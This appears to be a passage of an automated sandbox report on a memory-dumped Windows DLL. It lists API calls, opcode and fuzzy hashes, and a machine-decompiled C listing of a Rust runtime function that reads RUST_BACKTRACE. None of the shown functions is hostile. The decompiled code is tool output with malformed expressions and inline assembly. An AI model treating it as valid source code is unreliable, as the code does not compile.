api-ms-win-core-synch-l1-2-0, xrefs: 6EBEC320

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: f2cc603882f959ad74b1fcc72e9a3edbd809831ac7088e2696c897b4b7abffbd
Instruction ID: 0c99788f441d4723fb5eff46bd5fde276d8ad7000ce28b33f9fa2ee6fecbcf9d
Opcode Fuzzy Hash: f2cc603882f959ad74b1fcc72e9a3edbd809831ac7088e2696c897b4b7abffbd
Instruction Fuzzy Hash: C1B092B1A00955669E50AAF14B0EA862D68A992B863120458A037DA201FA2681009E21

Uniqueness

Uniqueness Score: -1.00%

Function 6EC04161, Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6EC04169

Part of subcall function 6EC04073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EC061E2,?,00000000,-00000008), ref: 6EC0411F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EC041A1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EC041C1

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: cbfbbdb087755f84c9290e711a4d068fedd2ce44bae072ec90d937d64e6024f9
Instruction ID: c34ec26be03a9a3ee1e2d60cde25dcbdf9ec31344d303548d02f51bc5dd8f6a9
Opcode Fuzzy Hash: cbfbbdb087755f84c9290e711a4d068fedd2ce44bae072ec90d937d64e6024f9
Instruction Fuzzy Hash: 7B11C4F1905A26BE670117F69D89CAF696CFEA66983010815F901D2104FF73DE0381B1

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFC7D4, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6EBFC821

Part of subcall function 6EBFCEAD: InitializeSListHead.KERNEL32(6EC3E4A0,6EBFC82B,6EC3AF60,00000010,6EBFC7BC,?,?,?,6EBFC9E4,?,00000001,?,?,00000001,?,6EC3AFA8), ref: 6EBFCEB2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6EBFC88B

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 7b3e92a15674b28c8421a9929041770b81bd0ea445e86c2af77ccce7e8faa74f
Instruction ID: 437eadda1ca23451e02809fd8ec972738211f20274880e420381dcd401a7c934
Opcode Fuzzy Hash: 7b3e92a15674b28c8421a9929041770b81bd0ea445e86c2af77ccce7e8faa74f
Instruction Fuzzy Hash: 7321D1325582C6EEDB42ABF495107EC7F649B06228F110C19E4916F2C2DB22058F9EA9

Uniqueness

Uniqueness Score: -1.00%

Function 6EC0475C, Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6EC047A8
GetFileType.KERNELBASE(00000000), ref: 6EC047BA

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: c2ad0047782f593565fdf7249cf9269226f325a8a997501d99b10f1d1ee889cb
Instruction ID: 51319252830db1e997fa06d46ba2640ba275fc1c2841f9c6653dd22e4078d7e3
Opcode Fuzzy Hash: c2ad0047782f593565fdf7249cf9269226f325a8a997501d99b10f1d1ee889cb
Instruction Fuzzy Hash: 43112671504B624EC7328EBF8C947137AA9BBA7230B24071ED5B6C61F9E232D483C240

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFF3B1, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6EC01E1B,?,?,?,?,00000000,?,00000000,?,?,6EC04EAE,?,6EC04D3D,00000000,?), ref: 6EC01C3F

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 8b4599bb4eb04b765ae70a63d0a0a48226743ac9a4c9f18fa1a2c0ebd1fe1202
Instruction ID: ee90aa41eee25a111cd0165a1930730dc63bee7b2628252135a298e87cdc9f31
Opcode Fuzzy Hash: 8b4599bb4eb04b765ae70a63d0a0a48226743ac9a4c9f18fa1a2c0ebd1fe1202
Instruction Fuzzy Hash: 3EE0867134475B65FA9916F40E26BAA6A5C2F9570CF100828EB18980C6FF8BC15A8011

Uniqueness

Uniqueness Score: -1.00%

Function 6EC01C23, Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6EC01E1B,?,?,?,?,00000000,?,00000000,?,?,6EC04EAE,?,6EC04D3D,00000000,?), ref: 6EC01C3F

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 87449a2ae7f1ddc1fe1eb2eb4f4a8f884e9b8cae2919b22d840029bed90af707
Instruction ID: ec50bad568e352253d6bfdc0556844b4b90a93de08bdca421c56db085aaa1194
Opcode Fuzzy Hash: 87449a2ae7f1ddc1fe1eb2eb4f4a8f884e9b8cae2919b22d840029bed90af707
Instruction Fuzzy Hash: E8E02B7038431B21FAA916F40E2BBDA2B6C2FA5B0CF000428F718AC0C7FF87C0468012

Uniqueness

Uniqueness Score: -1.00%

Function 6EC02C26, Relevance: 1.3, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,?,?,?,6EC0283F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6EBFCB0C,?,?,6EBFC074), ref: 6EC02C67

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: e762698950f003c1de2c346658b4b2284e4ca7784f6f5b0d43c57adbabde807d
Instruction ID: 1f7c5e97961acce80f780e0e95c092013b1c9c6291f2e34d3ced6251546db830
Opcode Fuzzy Hash: e762698950f003c1de2c346658b4b2284e4ca7784f6f5b0d43c57adbabde807d
Instruction Fuzzy Hash: 1EF0B431644A256AFBD91AF78924BCB7759AF41660F018552F814A7189FB33DA0182A0

Uniqueness

Uniqueness Score: -1.00%

Function 6EC022E9, Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,?,?,?,6EBFCB0C,?,?,6EBFC074,00000400,FFFDC801,?,?,00000001), ref: 6EC0231B

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 425b96ae2c4bf3a2827084c125d574ca3f9cf85e26e93b0a09ccf5758cf6d73e
Instruction ID: 8e5b41ae2bc1e78f84c34fff78126e397289e4958499566a326fbaaf6d4322a8
Opcode Fuzzy Hash: 425b96ae2c4bf3a2827084c125d574ca3f9cf85e26e93b0a09ccf5758cf6d73e
Instruction Fuzzy Hash: 27E065311456269FEA6A16E64D20B9BB65DBF426B5F010520ED5497389FB13C80082A1

Uniqueness

Uniqueness Score: -1.00%

Function 6EC0228A, Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,6EC00ED2,00000000,6EC3B1B8,0000000C,6EC00E99,?,?,6EC02C59,?,?,6EC0283F,00000001,00000364,?), ref: 6EC02299

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: ab68e5c030978aab7487aaedfd7d975dc695d4bad07ec8ad9ab36e547e5bbd46
Instruction ID: e2984c59607137ce75ab3076910831ef24ec65d590b4c9e020dab86e680ad3a6
Opcode Fuzzy Hash: ab68e5c030978aab7487aaedfd7d975dc695d4bad07ec8ad9ab36e547e5bbd46
Instruction Fuzzy Hash: A5B09B7244030C67CF005795DD4E8867B6C95D15557655015F41D87521D531D7544794

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EBED380, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6EBED380(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
				_v24 = E6EBF39D0;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6ec3e128; // 0x820000
				if(_t142 != 0) {
					L3:
					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6EC09A30( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6ec2face;
							if(_t264 != 0x6ec2face) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6ec2face;
									if(_t229 == 0x6ec2face) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6ec2face;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6ec2face;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6ec2face;
											if(_t264 == 0x6ec2face) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6ec2face;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6ec2face;
												if(_t273 == 0x6ec2face) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6ec2face;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6EC09A30( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6EBFE9D0(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6ec2f8cc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6EC09A30( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
													E6EBF0D10(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6ec3e128, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6ec3e128, 0, _t167);
													}
													HeapFree( *0x6ec3e128, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6ec3e128, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6ec306d8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6ec3e128, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6ec3e128, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6ec3e128, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6EC092F0(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6EC09470(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6ec306e0);
						asm("ud2");
						__eflags =  &_a8;
						E6EBE48D0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6EBED270(_t263);
					} else {
						 *0x6ec3e128 = _t142;
						goto L3;
					}
				}
				L96:
			}

0x6ebed380
0x6ebed380
0x6ebed380
0x6ebed383
0x6ebed384
0x6ebed385
0x6ebed386
0x6ebed38c
0x6ebed38f
0x6ebed396
0x6ebed39d
0x6ebed3aa
0x6ebed3ad
0x6ebed3b3
0x6ebed3ba
0x6ebed3ce
0x6ebed3d3
0x6ebed3da
0x00000000
0x6ebed3e0
0x6ebed3e0
0x6ebed3e6
0x6ebed3eb
0x6ebed3ed
0x6ebed3f2
0x6ebed3f8
0x6ebed402
0x6ebed40c
0x6ebed43d
0x6ebed440
0x6ebed443
0x00000000
0x00000000
0x6ebed445
0x6ebed44c
0x6ebed454
0x6ebed42f
0x6ebed42f
0x6ebed432
0x6ebed436
0x6ebed437
0x00000000
0x6ebed456
0x6ebed48a
0x6ebed494
0x6ebed497
0x6ebed49e
0x6ebed4a9
0x6ebed4b2
0x6ebed4ba
0x6ebed4bd
0x6ebed4c1
0x6ebed4c6
0x6ebed420
0x6ebed426
0x6ebed429
0x6ebed42c
0x00000000
0x6ebed42c
0x6ebed460
0x6ebed466
0x6ebed468
0x6ebed46e
0x6ebed471
0x6ebed474
0x6ebed477
0x6ebed479
0x6ebed4d1
0x6ebed4da
0x6ebed4dc
0x6ebed503
0x6ebed50b
0x6ebed50e
0x6ebed513
0x6ebed516
0x00000000
0x6ebed518
0x6ebed518
0x6ebed51c
0x6ebed522
0x6ebed524
0x6ebed52a
0x00000000
0x6ebed530
0x00000000
0x6ebed530
0x6ebed52a
0x6ebed4de
0x6ebed4de
0x6ebed4e2
0x6ebed4e5
0x6ebed4e8
0x6ebed4eb
0x6ebed53b
0x6ebed53d
0x6ebed543
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebed4ed
0x6ebed4f3
0x6ebed4f5
0x6ebed565
0x6ebed565
0x6ebed567
0x6ebed4f7
0x6ebed4fb
0x6ebed4fe
0x6ebed4fe
0x6ebed56a
0x6ebed56d
0x6ebed56f
0x6ebed572
0x6ebed595
0x6ebed597
0x6ebed59a
0x6ebed5a0
0x00000000
0x6ebed5a2
0x00000000
0x6ebed5a2
0x6ebed574
0x6ebed574
0x6ebed57d
0x6ebed57f
0x6ebed5aa
0x6ebed5aa
0x6ebed5ac
0x6ebed581
0x6ebed587
0x6ebed58a
0x6ebed58a
0x6ebed5bf
0x6ebed5c1
0x6ebed5c4
0x6ebed5ca
0x6ebed549
0x6ebed549
0x6ebed54c
0x6ebed54e
0x6ebed554
0x00000000
0x6ebed55a
0x00000000
0x6ebed55a
0x6ebed5d0
0x6ebed5d0
0x6ebed5d0
0x6ebed5d6
0x6ebed5f0
0x6ebed5f3
0x6ebed5f6
0x6ebed5f8
0x6ebed5fb
0x6ebed601
0x00000000
0x6ebed607
0x00000000
0x6ebed607
0x6ebed601
0x6ebed5ca
0x6ebed572
0x6ebed4eb
0x6ebed47b
0x6ebed47b
0x6ebed47d
0x6ebed480
0x6ebed482
0x6ebed488
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebed488
0x00000000
0x6ebed479
0x6ebed60c
0x6ebed612
0x6ebed61a
0x6ebed61d
0x6ebed622
0x6ebed625
0x6ebed627
0x6ebed62a
0x6ebed62c
0x6ebed674
0x6ebed674
0x6ebed676
0x6ebed680
0x6ebed680
0x6ebed682
0x00000000
0x00000000
0x6ebed688
0x6ebed68b
0x6ebed68f
0x6ebed692
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebed692
0x6ebed720
0x6ebed723
0x6ebed725
0x6ebed731
0x6ebed736
0x6ebed739
0x6ebed73c
